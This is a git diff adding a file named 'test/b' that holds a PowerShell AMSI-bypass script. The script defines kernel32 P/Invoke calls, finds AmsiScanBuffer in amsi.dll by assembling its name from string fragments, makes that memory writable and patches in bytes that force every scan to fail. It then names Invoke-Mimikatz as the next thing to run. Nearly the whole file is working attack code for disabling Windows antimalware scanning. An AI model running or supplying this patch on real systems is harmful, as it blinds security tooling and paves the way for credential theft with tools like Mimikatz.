Create b

test/b

@@ -0,0 +1,64 @@
+
+if ($count -ne 0) {
+    Write-Host "Count is not zero. Continuing with the second part of the script..."
+    $Win32 = @"
+    using System;
+    using System.Runtime.InteropServices;
+
+    public class Win32 {
+        [DllImport("kernel32")]
+        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+        [DllImport("kernel32")]
+        public static extern IntPtr LoadLibrary(string name);
+
+        [DllImport("kernel32")]
+        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+        [DllImport("kernel32")]
+        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
+
+        [DllImport("kernel32")]
+        public static extern IntPtr GetCurrentProcess();
+    }
+    "@
+
+    Add-Type $Win32
+
+    $LoadLibrary = [Win32]::LoadLibrary($a + "i.dll")
+    if ($LoadLibrary -eq [IntPtr]::Zero) {
+        Write-Host "[-] Failed to load amsi.dll."
+        exit
+    }
+    $Address = [Win32]::GetProcAddress($LoadLibrary, ($a + $b + $c + $d))
+    if ($Address -eq [IntPtr]::Zero) {
+        Write-Host "[-] Failed to get address of AmsiScanBuffer."
+        exit
+    }
+    $oldProtect = 0
+    if (-not [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$oldProtect)) {
+        Write-Host "[-] Failed to change memory protection."
+        exit
+    }
+    Write-Host "[+] Old protection: $oldProtect"
+    $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
+    $bytesWritten = 0
+    $hProcess = [Win32]::GetCurrentProcess()
+
+    if (-not [Win32]::WriteProcessMemory($hProcess, $Address, $Patch, $Patch.Length, [ref]$bytesWritten)) {
+        Write-Host "[-] Failed to write memory."
+        exit
+    }
+    Write-Host "[+] Bytes written: $bytesWritten"
+
+    if ($bytesWritten -eq $Patch.Length) {
+        Write-Host "[+] Patch applied successfully!"
+
+        $String = "Invoke-Mimikatz"
+        Write-Host "[*] Trying to execute: $String"
+    } else {
+        Write-Host "[-] Failed to apply patch."
+    }
+} else {
+    Write-Host "Count is zero. Exiting..."
+}